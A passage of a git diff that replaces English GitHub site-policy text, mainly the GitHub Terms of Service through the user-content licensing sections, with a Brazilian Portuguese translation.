+O GitHub Sponsors permite que a comunidade de desenvolvedores apoie financeiramente as pessoas e organizações que projetam, constroem e mantêm os projetos de código aberto dos quais eles dependem, diretamente no GitHub. Para se tornar um Desenvolvedor Patrocinado, você deve concordar com os [Termos Adicionais do Programa GitHub Sponsors](/github/site-policy/github-sponsors-additional-terms).
 
-## SQL Server Images
+## Imagens do servidor SQL
 
-You may download Microsoft SQL Server Standard Edition container image for Linux files ("SQL Server Images"). You must uninstall the SQL Server Images when your right to use the Software ends. Microsoft Corporation may disable SQL Server Images at any time.
+Você pode fazer o download da imagem de contêiner de edição padrão do Microsoft SQL Server para arquivos Linux ("Imagens do Servidor SQL"). Você deve desinstalar as imagens do Servidor SQL quando seu direito de usar o Software terminar. A Microsoft Corporation pode desativar o SQL Server Images a qualquer momento.
diff --git a/translations/pt-BR/content/github/site-policy/github-terms-of-service.md b/translations/pt-BR/content/github/site-policy/github-terms-of-service.md
index 9ac616977a..aa07a18f30 100644
--- a/translations/pt-BR/content/github/site-policy/github-terms-of-service.md
+++ b/translations/pt-BR/content/github/site-policy/github-terms-of-service.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms of Service
+title: Termos de serviço do GitHub
 redirect_from:
   - /tos
   - /terms
@@ -13,303 +13,303 @@ topics:
   - Legal
 ---
 
-Thank you for using GitHub! We're happy you're here. Please read this Terms of Service agreement carefully before accessing or using GitHub. Because it is such an important contract between us and our users, we have tried to make it as clear as possible. For your convenience, we have presented these terms in a short non-binding summary followed by the full legal terms.
+Obrigado por usar o GitHub! Estamos felizes por você estar aqui. Por favor, leia estes Termos de Serviço com cuidado antes de acessar ou usar o GitHub. Por se tratar de um contrato tão importante entre nós e os usuários, tentamos torná-lo o mais claro possível. Para sua conveniência, apresentamos estes termos num breve resumo não vinculativo, seguido da totalidade dos termos jurídicos.
 
-## Summary
+## Sumário
 
-| Section | What can you find there? |
-| --- | --- |
-| [A. Definitions](#a-definitions) | Some basic terms, defined in a way that will help you understand this agreement. Refer back up to this section for clarification. |
-| [B. Account Terms](#b-account-terms) | These are the basic requirements of having an Account on GitHub.  |
-| [C. Acceptable Use](#c-acceptable-use)| These are the basic rules you must follow when using your GitHub Account. |
-| [D. User-Generated Content](#d-user-generated-content) | You own the content you post on GitHub. However, you have some responsibilities regarding it, and we ask you to grant us some rights so we can provide services to you. |
-| [E. Private Repositories](#e-private-repositories) | This section talks about how GitHub will treat content you post in private repositories. |
-| [F. Copyright & DMCA Policy](#f-copyright-infringement-and-dmca-policy) | This section talks about how GitHub will respond if you believe someone is infringing your copyrights on GitHub. |
-| [G. Intellectual Property Notice](#g-intellectual-property-notice) | This describes GitHub's rights in the website and service. |
-| [H. API Terms](#h-api-terms) | These are the rules for using GitHub's APIs, whether you are using the API for development or data collection. |
-| [I. Additional Product Terms](#i-github-additional-product-terms) | We have a few specific rules for GitHub's features and products. |
-| [J. Beta Previews](#j-beta-previews) | These are some of the additional terms that apply to GitHub's features that are still in development. |
-| [K. Payment](#k-payment) | You are responsible for payment. We are responsible for billing you accurately. |
-| [L. Cancellation and Termination](#l-cancellation-and-termination) | You may cancel this agreement and close your Account at any time. |
-| [M. Communications with GitHub](#m-communications-with-github) | We only use email and other electronic means to stay in touch with our users. We do not provide phone support. |
-| [N. Disclaimer of Warranties](#n-disclaimer-of-warranties) | We provide our service as is, and we make no promises or guarantees about this service. **Please read this section carefully; you should understand what to expect.** |
-| [O. Limitation of Liability](#o-limitation-of-liability) | We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. **Please read this section carefully; it limits our obligations to you.** |
-| [P. Release and Indemnification](#p-release-and-indemnification) | You are fully responsible for your use of the service. |
-| [Q. Changes to these Terms of Service](#q-changes-to-these-terms) | We may modify this agreement, but we will give you 30 days' notice of material changes. |
-| [R. Miscellaneous](#r-miscellaneous) | Please see this section for legal details including our choice of law. |
+| Seção                                                                     | Conteúdo                                                                                                                                                                                                                                                    |
+| ------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [A. Definições](#a-definitions)                                           | Alguns termos básicos estão definidos de forma a lhe ajudar a compreender este contrato. Consulte novamente esta seção para quaisquer esclarecimentos.                                                                                                      |
+| [B. Termos da conta](#b-account-terms)                                    | Estes são os requisitos básicos para ter uma Conta no GitHub.                                                                                                                                                                                               |
+| [C. Uso Aceitável](#c-acceptable-use)                                     | Estas são as regras básicas que você deve seguir ao usar sua Conta no GitHub.                                                                                                                                                                               |
+| [D. Conteúdo gerado pelo usuário](#d-user-generated-content)              | Você é o proprietário do conteúdo que posta no GitHub. No entanto, você tem algumas responsabilidades relativamente a esta questão, e nós pedimos que você nos conceda alguns direitos para que possamos fornecer-lhe serviços.                             |
+| [E. Repositórios privados](#e-private-repositories)                       | Esta seção fala como o GitHub tratará o conteúdo que você publicar em repositórios privados.                                                                                                                                                                |
+| [F. Copyright & Política DMCA](#f-copyright-infringement-and-dmca-policy) | Esta seção fala sobre como o GitHub irá responder se você acredita que alguém esteja violando seus direitos autorais no GitHub.                                                                                                                             |
+| [G. Avisos de Propriedade Intelectual](#g-intellectual-property-notice)   | Isto descreve os direitos do GitHub no site e no serviço.                                                                                                                                                                                                   |
+| [H. Termos da API](#h-api-terms)                                          | Estas são as regras para usar as APIs do GitHub, quer você esteja usando a API para desenvolvimento ou coleta de dados.                                                                                                                                     |
+| [I. Termos Adicionais do Produto](#i-github-additional-product-terms)     | Temos algumas regras específicas para os produtos e recursos do GitHub.                                                                                                                                                                                     |
+| [J. Visualizações Beta](#j-beta-previews)                                 | Estes são alguns dos termos adicionais que se aplicam aos recursos do GitHub que ainda estão em desenvolvimento.                                                                                                                                            |
+| [K. Pagamento](#k-payment)                                                | Você é responsável pelo pagamento. Somos responsáveis pela sua cobrança com precisão.                                                                                                                                                                       |
+| [L. Cancelamento e Rescisão](#l-cancellation-and-termination)             | Você pode cancelar este contrato e fechar sua Conta a qualquer momento.                                                                                                                                                                                     |
+| [M. Comunicações com o GitHub](#m-communications-with-github)             | Usamos apenas o e-mail e outros meios eletrônicos para nos mantermos em contato com nossos usuários. Não fornecemos suporte telefônico.                                                                                                                     |
+| [N. Isenção de Garantias](#n-disclaimer-of-warranties)                    | Fornecemos nosso serviço tal como está, e não fazemos promessas nem damos garantias sobre este serviço. **Por favor, leia esta seção cuidadosamente; você deve entender o que esperar.**                                                                    |
+| [O. Limitação de responsabilidade](#o-limitation-of-liability)            | Não seremos responsáveis por danos ou prejuízos resultantes da sua utilização ou incapacidade de utilizar o serviço ou de outra forma decorrente deste contrato. **Por favor, leia esta seção cuidadosamente; ela limita nossas obrigações para com você.** |
+| [P. Versão e Indenização](#p-release-and-indemnification)                 | Você é totalmente responsável pelo uso do serviço.                                                                                                                                                                                                          |
+| [Q. Eu concordo com estes Termos de Serviço](#q-changes-to-these-terms)   | Podemos modificar este contrato, mas vamos dar a você um aviso de 30 dias sobre as alterações materiais.                                                                                                                                                    |
+| [R. Disposições Gerais](#r-miscellaneous)                                 | Por favor, veja esta seção para detalhes legais, incluindo a nossa escolha de legislação.                                                                                                                                                                   |
 
-## The GitHub Terms of Service
-Effective date: November 16, 2020
+## Termos de Serviço do GitHub
+Data de vigência: 16 de novembro de 2020
 
 
-## A. Definitions
-**Short version:** *We use these basic terms throughout the agreement, and they have specific meanings. You should know what we mean when we use each of the terms. There's not going to be a test on it, but it's still useful information.*
+## A. Definições
+**Versão reduzida:** *Nós usamos esses termos básicos em todo o contrato, e eles têm significados específicos. Você deve saber o que queremos dizer quando usamos cada um dos termos. Não vamos aplicar um teste sobre isso, mas ainda assim, são informações úteis.*
 
-1. An "Account" represents your legal relationship with GitHub. A “User Account” represents an individual User’s authorization to log in to and use the Service and serves as a User’s identity on GitHub. “Organizations” are shared workspaces that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User Account can be a member of any number of Organizations.
-2. The “Agreement” refers, collectively, to all the terms, conditions, notices contained or referenced in this document (the “Terms of Service” or the "Terms") and all other operating rules, policies (including the GitHub Privacy Statement, available at [github.com/site/privacy](https://github.com/site/privacy)) and procedures that we may publish from time to time on the Website. Most of our site policies are available at [docs.github.com/categories/site-policy](/categories/site-policy).
-3. "Beta Previews" mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings.
-4. “Content” refers to content featured or displayed through the Website, including without limitation code, text, data, articles, images, photographs, graphics, software, applications, packages, designs, features, and other materials that are available on the Website or otherwise available through the Service. "Content" also includes Services. “User-Generated Content” is Content, written or otherwise, created or uploaded by our Users. "Your Content" is Content that you create or own.
-5. “GitHub,” “We,” and “Us” refer to GitHub, Inc., as well as our affiliates, directors, subsidiaries, contractors, licensors, officers, agents, and employees.
-6. The “Service” refers to the applications, software, products, and services provided by GitHub, including any Beta Previews.
-7. “The User,” “You,” and “Your” refer to the individual person, company, or organization that has visited or is using the Website or Service; that accesses or uses any part of the Account; or that directs the use of the Account in the performance of its functions. A User must be at least 13 years of age. Special terms may apply for business or government Accounts (See [Section B(5): Additional Terms](#5-additional-terms)).
-8. The “Website” refers to GitHub’s website located at [github.com](https://github.com/), and all content, services, and products provided by GitHub at or through the Website. It also refers to GitHub-owned subdomains of github.com, such as [education.github.com](https://education.github.com/) and [pages.github.com](https://pages.github.com/). These Terms also govern GitHub’s conference websites, such as [githubuniverse.com](https://githubuniverse.com/), and product websites, such as [atom.io](https://atom.io/). Occasionally, websites owned by GitHub may provide different or additional terms of service. If those additional terms conflict with this Agreement, the more specific terms apply to the relevant page or service.
+1. Uma "Conta" representa seu vínculo legal com o GitHub. Uma "Conta de Usuário" representa uma autorização individual de Usuário para entrar e usar o Serviço e serve como identidade do Usuário no GitHub. “Organizações” são espaços de trabalho compartilhados que podem estar associados a uma única entidade ou a um ou mais Usuários em que vários Usuários podem colaborar em vários projetos de uma só vez. Uma Conta de Usuário pode ser um integrante de um número qualquer de Organizações.
+2. O "Contrato" refere-se, coletivamente, a todos os termos, condições, avisos contidos ou referenciados neste documento (os “Termos de Serviço” ou os "Termos") e todas as outras regras operacionais, políticas (incluindo a Declaração de Privacidade do GitHub, disponível em [github.com/site/privacy](https://github.com/site/privacy)) e procedimentos que podemos publicar de vez em quando no Site. A maioria das nossas políticas de site está disponível em [docs.github.com/categories/site-policy](/categories/site-policy).
+3. "Visualizações Beta" significa software, serviços ou recursos identificados como alfa, beta, visualização, acesso antecipado ou avaliação, ou palavras e frases com significados semelhantes.
+4. "Conteúdo" refere-se ao conteúdo em destaque ou exibido através do Site, incluindo sem código de limitação, texto, dados, artigos, imagens, fotografias, gráficos, software, aplicativos, pacotes, designs, recursos e outros materiais que estão disponíveis no Site ou disponíveis através do Serviço. "Conteúdo" também inclui Serviços. O "Conteúdo Gerado pelo Usuário" é Conteúdo, escrito ou não, criado ou carregado pelos nossos Usuários. "Seu conteúdo" é o Conteúdo que você cria ou possui.
+5. "GitHub" e "nós" referem-se ao GitHub, Inc., bem como nossas filiais, diretores, subsidiárias, contratantes, licenciadores, executivos, agentes e funcionários.
+6. O "Serviço" refere-se aos aplicativos, software, produtos e serviços fornecidos pelo GitHub, incluindo todas as Visualizações Beta.
+7. "O Usuário", "Você", e "Seu", referem-se à pessoa individual, empresa ou organização que tenha visitado ou esteja usando o Site ou Serviço; que acessa ou utiliza qualquer parte da Conta; ou que gerencia o uso da Conta no desempenho de suas funções. O Usuário deve ter pelo menos 13 anos de idade. Termos especiais podem se aplicar para Contas de empresa ou do governo (Veja [Seção B(5): Termos Adicionais](#5-additional-terms)).
+8. O "Site" refere-se ao site do GitHub localizado em [github.com](https://github.com/) e todo o conteúdo, serviços e produtos fornecidos pelo GitHub no ou através do Site. Ele também se refere a subdomínios do GitHub, do github.com, como [education.github.com](https://education.github.com/) e [pages.github.com](https://pages.github.com/). Estes Termos também regem os sites de conferência do GitHub, como [githubuniverse.com](https://githubuniverse.com/) e sites de produtos, como [atom.io](https://atom.io/). Ocasionalmente, sites pertencentes ao GitHub podem fornecer termos de serviço diferentes ou adicionais. Se esses termos adicionais entram em conflito com este Contrato, os termos mais específicos se aplicam à página ou serviço relevante.
 
-## B. Account Terms
-**Short version:** *User Accounts and Organizations have different administrative controls; a human must create your Account; you must be 13 or over; you must provide a valid email address; and you may not have more than one free Account. You alone are responsible for your Account and anything that happens while you are signed in to or using your Account. You are responsible for keeping your Account secure.*
+## B. Termos da conta
+**Versão curta:** *Contas e Organizações do Usuário têm controles administrativos diferentes; uma pessoa precisa criar sua Conta; você deve ter 13 anos ou mais; deve fornecer um endereço de e-mail válido e não pode ter mais de uma Conta gratuita. Você é o único responsável por sua Conta e tudo o que acontece enquanto você estiver logado ou usando sua Conta. Você é responsável por manter sua Conta segura.*
 
-### 1. Account Controls
-- Users. Subject to these Terms, you retain ultimate administrative control over your User Account and the Content within it.
+### 1. Controles da conta
+- Usuários. Sujeito a estes Termos, você mantém o controle administrativo final sobre sua Conta de Usuário e o Conteúdo dentro dela.
 
-- Organizations. The "owner" of an Organization that was created under these Terms has ultimate administrative control over that Organization and the Content within it. Within the Service, an owner can manage User access to the Organization’s data and projects. An Organization may have multiple owners, but there must be at least one User Account designated as an owner of an Organization. If you are the owner of an Organization under these Terms, we consider you responsible for the actions that are performed on or through that Organization.
+- Organizações. O "proprietário" de uma Organização que foi criada sob estes Termos tem o controle administrativo supremo sobre essa Organização e sobre o Conteúdo dentro dela. No Serviço, um proprietário pode gerenciar acesso de Usuário aos dados e projetos da Organização. Uma Organização pode ter vários proprietários, mas deve haver pelo menos uma Conta de Usuário designada como proprietário de uma Organização. Se você é o proprietário de uma Organização sob estes Termos, nós consideramos que você é responsável pelas ações que são executadas naquela Organização ou através dela.
 
-### 2. Required Information
-You must provide a valid email address in order to complete the signup process. Any other information requested, such as your real name, is optional, unless you are accepting these terms on behalf of a legal entity (in which case we need more information about the legal entity) or if you opt for a [paid Account](#k-payment), in which case additional information will be necessary for billing purposes.
+### 2. Informações obrigatórias
+Você deve fornecer um endereço de e-mail válido para concluir o processo de inscrição. Qualquer outra informação solicitada, como seu nome real, é opcional, a menos que você esteja aceitando estes termos em nome de uma entidade legal (caso em que precisamos de mais informações sobre a entidade legal) ou se você optar por uma [Conta paga](#k-payment), nesse caso, serão necessárias informações adicionais para fins de faturamento.
 
-### 3. Account Requirements
-We have a few simple rules for User Accounts on GitHub's Service.
-- You must be a human to create an Account. Accounts registered by "bots" or other automated methods are not permitted. We do permit machine accounts:
-- A machine account is an Account set up by an individual human who accepts the Terms on behalf of the Account, provides a valid email address, and is responsible for its actions. A machine account is used exclusively for performing automated tasks. Multiple users may direct the actions of a machine account, but the owner of the Account is ultimately responsible for the machine's actions. You may maintain no more than one free machine account in addition to your free User Account.
-- One person or legal entity may maintain no more than one free Account (if you choose to control a machine account as well, that's fine, but it can only be used for running a machine).
-- You must be age 13 or older. While we are thrilled to see brilliant young coders get excited by learning to program, we must comply with United States law. GitHub does not target our Service to children under 13, and we do not permit any Users under 13 on our Service. If we learn of any User under the age of 13, we will [terminate that User’s Account immediately](#l-cancellation-and-termination). If you are a resident of a country outside the United States, your country’s minimum age may be older; in such a case, you are responsible for complying with your country’s laws.
-- Your login may only be used by one person — i.e., a single login may not be shared by multiple people. A paid Organization may only provide access to as many User Accounts as your subscription allows.
-- You may not use GitHub in violation of export control or sanctions laws of the United States or any other applicable jurisdiction. You may not use GitHub if you are or are working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions administered by a U.S. government agency.  GitHub may allow persons in certain sanctioned countries or territories to access certain GitHub services pursuant to U.S. government authorizations.  For more information, please see our [Export Controls policy](/articles/github-and-export-controls).  
+### 3. Requisitos da conta
+Temos algumas regras simples para Contas de Usuário no Serviço do GitHub.
+- Você deve ser uma pessoa para criar uma Conta. Contas registradas por "bots" ou outros métodos automatizados não são permitidas. Nós permitimos contas de máquina:
+- Conta de máquina significa uma Conta registrada por um indivíduo que aceita os Termos aplicáveis à Conta, fornece um endereço de e-mail válido e é responsável por suas ações. Uma conta de máquina é usada exclusivamente para executar tarefas automatizadas. Múltiplos usuários podem direcionar as ações de uma conta de máquina, mas o proprietário da Conta é, em última análise, responsável pelas ações da máquina. Você pode manter não mais de uma conta gratuita de máquina, além de sua Conta de Usuário gratuita.
+- Uma pessoa ou entidade legal não pode manter mais de uma Conta gratuita (se você optar por controlar uma conta de máquina também, sem problemas, mas só pode ser usada para executar uma máquina).
+- Você deve ter 13 anos ou mais. Embora nos sintamos felizes ao vermos os brilhantes codificadores se entusiasmarem ao aprender a programar, temos de cumprir a legislação dos Estados Unidos. O GitHub não direciona nosso Serviço para crianças com menos de 13 anos, e nós não permitimos quaisquer Usuários com menos de 13 anos no nosso Serviço. Se soubermos de qualquer Usuário menor de 13 anos, vamos [encerrar a Conta de Usuário imediatamente](#l-cancellation-and-termination). Se você for residente de um país fora dos Estados Unidos, a idade mínima do seu país pode ser maior; num caso destes, você é responsável por cumprir as leis do seu país.
+- Seu login pode ser usado apenas por uma pessoa — ou seja, um único login não pode ser compartilhado por várias pessoas. Uma organização paga só pode fornecer acesso ao número de Contas de Usuário que sua assinatura permite.
+- Você não pode usar o GitHub em violação do controle de exportação ou das leis de sanções dos Estados Unidos ou de qualquer outra jurisdição aplicável. Você não pode usar o GitHub se você é ou está trabalhando em nome de um [Nacional Especialmente Designado (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) ou uma pessoa sujeita a bloqueios semelhantes ou proibições de parte negada administradas por uma agência do governo dos EUA. agência do governo.  O GitHub pode permitir que pessoas em certos países ou territórios sancionados acessem certos serviços do GitHub de acordo com as autorizações do governo dos Estados Unidos. autorizações do governo.  Para obter mais informações, por favor veja nossa [política de Controles de Exportação](/articles/github-and-export-controls).
 
-### 4. User Account Security
-You are responsible for keeping your Account secure while you use our Service. We offer tools such as two-factor authentication to help you maintain your Account's security, but the content of your Account and its security are up to you.
-- You are responsible for all content posted and activity that occurs under your Account (even when content is posted by others who have Accounts under your Account).
-- You are responsible for maintaining the security of your Account and password. GitHub cannot and will not be liable for any loss or damage from your failure to comply with this security obligation.
-- You will promptly [notify GitHub](https://support.github.com/contact?tags=docs-policy) if you become aware of any unauthorized use of, or access to, our Service through your Account, including any unauthorized use of your password or Account.
+### 4. Segurança da Conta de Usuário
+Você é responsável por manter sua Conta segura enquanto usa nosso Serviço. Nós oferecemos ferramentas como a autenticação de dois fatores para ajudá-lo a manter a segurança de sua Conta, mas o conteúdo de sua Conta e sua segurança são de sua responsabilidade.
+- Você é responsável por todos os conteúdos postados e atividades que ocorrem em sua Conta (mesmo quando o conteúdo é postado por outros que têm Contas em sua Conta).
+- Você é responsável por manter a segurança de sua Conta e senha. O GitHub não pode e não será responsabilizado por qualquer perda ou dano causado por sua falha em cumprir com esta obrigação de segurança.
+- Você irá rapidamente [notificar o GitHub](https://support.github.com/contact?tags=docs-policy) se estiver ciente de qualquer uso não autorizado de, ou acesso a, nosso Serviço através de sua Conta, incluindo qualquer uso não autorizado de sua senha ou Conta.
 
-### 5. Additional Terms
-In some situations, third parties' terms may apply to your use of GitHub. For example, you may be a member of an organization on GitHub with its own terms or license agreements; you may download an application that integrates with GitHub; or you may use GitHub to authenticate to another service. Please be aware that while these Terms are our full agreement with you, other parties' terms govern their relationships with you.
+### 5. Termos adicionais
+Em algumas situações, os termos de terceiros podem ser aplicados ao seu uso do GitHub.  Por exemplo, você pode ser integrante de uma organização no GitHub com seus próprios termos ou contratos de licença. Você poderá baixar um aplicativo que se integra ao GitHub; ou utilizar o GitHub para autenticar em outro serviço. Por favor, esteja ciente de que, embora esses Termos representem nosso acordo total com você, os termos de terceiros governam suas relações com você.
 
-If you are a government User or otherwise accessing or using any GitHub Service in a government capacity, this [Government Amendment to GitHub Terms of Service](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) applies to you, and you agree to its provisions.
+Se você é um Usuário do governo ou, de outro modo, acessar ou usar qualquer Serviço GitHub em uma competência do governo, esta [Emenda do Governo aos Termos de Serviço do GitHub](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) se aplica a você, e você concorda com as suas disposições.
 
-If you have signed up for GitHub Enterprise Cloud, the [Enterprise Cloud Addendum](/articles/github-enterprise-cloud-addendum/) applies to you, and you agree to its provisions.
+Se você se inscreveu para o GitHub Enterprise Cloud, o [Adendo Enterprise Cloud](/articles/github-enterprise-cloud-addendum/) aplica-se a você, e você concorda com suas provisões.
 
-## C. Acceptable Use
-**Short version:** *GitHub hosts a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the service, you must follow the terms of this section, which include some restrictions on content you can post, conduct on the service, and other limitations. In short, be excellent to each other.*
+## C. Uso Aceitável
+**Versão curta:** *GitHub hospeda uma grande variedade de projetos colaborativos de todo o mundo, e essa colaboração só funciona quando nossos usuários são capazes de trabalhar em conjunto de boa fé. Ao usar o serviço, você deve estar de acordo com os termos desta seção, que inclui algumas restrições sobre o conteúdo que você pode publicar, conduta no serviço e outras limitações. Em resumo, sejam excelentes uns com os outros.*
 
-Your use of the Website and Service must not violate any applicable laws, including copyright or trademark laws, export control or sanctions laws, or other laws in your jurisdiction. You are responsible for making sure that your use of the Service is in compliance with laws and any applicable regulations.
+O seu uso do Site e Serviço não deve violar nenhuma lei aplicável, incluindo leis de direitos autorais ou de marcas registradas, controle de exportação ou leis de sanções, ou outras leis em sua jurisdição. Você é responsável por se certificar de que o uso do Serviço está em conformidade com as leis e quaisquer regulamentos aplicáveis.
 
-You agree that you will not under any circumstances violate our [Acceptable Use Policies](/articles/github-acceptable-use-policies) or [Community Guidelines](/articles/github-community-guidelines).
+Você concorda que, em nenhuma circunstância, violará nossas [Políticas de Uso Aceitáveis](/articles/github-acceptable-use-policies) ou [Diretrizes Comunitárias](/articles/github-community-guidelines).
 
-## D. User-Generated Content
-**Short version:** *You own content you create, but you allow us certain rights to it, so that we can display and share the content you post. You still have control over your content, and responsibility for it, and the rights you grant us are limited to those we need to provide the service. We have the right to remove content or close Accounts if we need to.*
+## D. Conteúdo gerado pelo usuário
+**Versão curta:** *Você possui o conteúdo que você cria, mas nos concede determinados direitos a ele, para que possamos exibir e compartilhar o conteúdo que você publicar. Você ainda tem controle sobre seu conteúdo e responsabilidade por ele, e os direitos que você nos concede são limitados àqueles que precisamos para fornecer o serviço. Temos o direito de remover conteúdo ou fechar Contas se precisarmos.*
 
-### 1. Responsibility for User-Generated Content
-You may create or upload User-Generated Content while using the Service. You are solely responsible for the content of, and for any harm resulting from, any User-Generated Content that you post, upload, link to or otherwise make available via the Service, regardless of the form of that Content. We are not responsible for any public display or misuse of your User-Generated Content.
+### 1. Responsabilidade pelo conteúdo gerado pelo usuário
+Você pode criar ou fazer upload do conteúdo gerado pelo usuário usando o Serviço. Você é o único responsável pelo conteúdo e por qualquer dano resultante de qualquer conteúdo gerado pelo usuário que você publicar, fizer upload, linkar para ou deixar disponível através do Serviço, independentemente da forma desse Conteúdo. Não somos responsáveis por nenhuma exibição pública ou uso indevido do seu Conteúdo Gerado pelo Usuário.
 
-### 2. GitHub May Remove Content
-We have the right to refuse or remove any User-Generated Content that, in our sole discretion, violates any laws or [GitHub terms or policies](/github/site-policy). User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
+### 2. O GitHub pode remover conteúdo
+Temos o direito de recusar ou remover qualquer Conteúdo Gerado por Usuário que, a nosso exclusivo critério, viole quaisquer leis ou [termos ou políticas do GitHub](/github/site-policy). O Conteúdo Gerado pelo Usuário disposto no GitHub para dispositivos móveis pode estar sujeito aos termos adicionais de aplicativos móveis.
 
-### 3. Ownership of Content, Right to Post, and License Grants
-You retain ownership of and responsibility for Your Content. If you're posting anything you did not create yourself or do not own the rights to, you agree that you are responsible for any Content you post; that you will only submit Content that you have the right to post; and that you will fully comply with any third party licenses relating to Content you post.
+### 3. Propriedade do conteúdo, Direito de postar; Concessões de licença
+Você mantém a propriedade e a responsabilidade pelo seu conteúdo. Se você está postando qualquer coisa que você não criou ou não possui os direitos, você concorda que é responsável por qualquer conteúdo que você publique; que você só enviará Conteúdo que você tem o direito de publicar; e que você esteja em total conformidade com licenças de terceiros relacionadas ao Conteúdo que você publicar.
 
-Because you retain ownership of and responsibility for Your Content, we need you to grant us — and other GitHub Users — certain legal permissions, listed in Sections D.4 — D.7. These license grants apply to Your Content. If you upload Content that already comes with a license granting GitHub the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in Sections D.4 — D.7. The licenses you grant to us will end when you remove Your Content from our servers, unless other Users have forked it.
+Porque você retem a propriedade e a responsabilidade do seu conteúdo, precisamos que você nos conceda — e outros usuários do GitHub — certas permissões legais, listadas nas Seções D.4 — D.7. Estas concessões de licença se aplicam ao Seu Conteúdo. Se você fizer upload de Conteúdo que já vem com uma licença que concede ao GitHub as permissões que precisamos para executar nosso Serviço, nenhuma licença adicional é necessária. Você compreende que não receberá nenhum pagamento por qualquer um dos direitos concedidos nas Seções D.4 — D.7. As licenças que você nos concede terminarão quando você remover Seu Conteúdo de nossos servidores, a menos que outros Usuários o tenham bifurcado.
 
-### 4. License Grant to Us
-We need the legal right to do things like host Your Content, publish it, and share it. You grant us and our legal successors the right to store, archive, parse, and display Your Content, and make incidental copies, as necessary to provide the Service, including improving the Service over time. This license includes the right to do things like copy it to our database and make backups; show it to you and other users; parse it into a search index or otherwise analyze it on our servers; share it with other users; and perform it, in case Your Content is something like music or video.
+### 4. Concessão de licença para nós
+Precisamos do direito legal para fazer coisas como hospedar Seu Conteúdo, publicá-lo, e compartilhá-lo. Você concede a nós e aos nossos sucessores legais o direito de armazenar, arquivar, analisar e exibir Seu Conteúdo, e fazer cópias eventuais, conforme necessário, para fornecer o Serviço, incluindo o melhoramento do Serviço ao longo do tempo. Esta licença inclui o direito de fazer coisas como copiá-lo para a nossa base de dados e fazer backups; mostrá-lo para você e para outros usuários; analisá-lo em um índice de pesquisa ou analisá-lo em nossos servidores; compartilhá-lo com outros usuários; e executá-lo, no caso de Seu Conteúdo ser algo como música ou vídeo.
 
-This license does not grant GitHub the right to sell Your Content. It also does not grant GitHub the right to otherwise distribute or use Your Content outside of our provision of the Service, except that as part of the right to archive Your Content, GitHub may permit our partners to store and archive Your Content in public repositories in connection with the [GitHub Arctic Code Vault and GitHub Archive Program](https://archiveprogram.github.com/).
+Esta licença não concede ao GitHub o direito de vender Seu Conteúdo. Isso também não concede ao GitHub o direito de distribuir ou utilizar o Seu Conteúdo fora da nossa prestação do Serviço, salvo como parte do direito de arquivar o Seu Conteúdo, o GitHub pode permitir que nossos parceiros armazenem e arquivem Seu Conteúdo em repositórios públicos, relacionados ao [GitHub Arctic Code Vault e o GitHub Archive Program](https://archiveprogram.github.com/).
 
-### 5. License Grant to Other Users
-Any User-Generated Content you post publicly, including issues, comments, and contributions to other Users' repositories, may be viewed by others. By setting your repositories to be viewed publicly, you agree to allow others to view and "fork" your repositories (this means that others may make their own copies of Content from your repositories in repositories they control).
+### 5. Concessão de licença a outros usuários
+Qualquer Conteúdo gerado pelo Usuário que você publicar publicamente, incluindo problemas, comentários e contribuições para repositórios de outros Usuários, pode ser visto por outros. Definindo seus repositórios para serem vistos publicamente, você concorda em permitir que outros vejam e "bifurquem" seus repositórios (isso significa que outros podem fazer suas próprias cópias do Conteúdo de seus repositórios em repositórios que eles controlam).
 
-If you set your pages and repositories to be viewed publicly, you grant each User of GitHub a nonexclusive, worldwide license to use, display, and perform Your Content through the GitHub Service and to reproduce Your Content solely on GitHub as permitted through GitHub's functionality (for example, through forking). You may grant further rights if you [adopt a license](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). If you are uploading Content you did not create or own, you are responsible for ensuring that the Content you upload is licensed under terms that grant these permissions to other GitHub Users.
+Se você definir suas páginas e repositórios para serem vistos publicamente, você concede a cada Usuário do GitHub uma licença mundial não exclusiva para uso, exibição e execução de Seu Conteúdo através do Serviço GitHub e para reproduzir Seu Conteúdo exclusivamente no GitHub, conforme permitido através da funcionalidade do GitHub (por exemplo, através da bifurcação). Você poderá conceder direitos adicionais se [adotar uma licença](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Se você está fazendo upload do Conteúdo que você não criou ou possui, você é responsável por garantir que o Conteúdo que você faz o upload é licenciado em termos que concedem essas permissões a outros Usuários do GitHub.
 
-### 6. Contributions Under Repository License
-Whenever you add Content to a repository containing notice of a license, you license that Content under the same terms, and you agree that you have the right to license that Content under those terms. If you have a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede.
+### 6. Contribuições na licença de repositório
+Sempre que você adicionar Conteúdo a um repositório que contém notificação de uma licença, você licencia esse Conteúdo nos mesmos termos e concorda que tem o direito de licenciar o Conteúdo nesses termos. Se você tiver um contrato separado para licenciar esse Conteúdo em termos diferentes, como um contrato de licença de colaborador, aquele contrato será substituído.
 
-Isn't this just how it works already? Yep. This is widely accepted as the norm in the open-source community; it's commonly referred to by the shorthand "inbound=outbound". We're just making it explicit.
+Não é assim que as coisas já funcionam? Sim. Isso é amplamente aceito como a norma na comunidade de código aberto; é comumente referido pela abreviatura "entrada=saída". Estamos apenas tornando isso explícito.
 
-### 7. Moral Rights
-You retain all moral rights to Your Content that you upload, publish, or submit to any part of the Service, including the rights of integrity and attribution. However, you waive these rights and agree not to assert them against us, to enable us to reasonably exercise the rights granted in Section D.4, but not otherwise.
+### 7. Direitos Morais
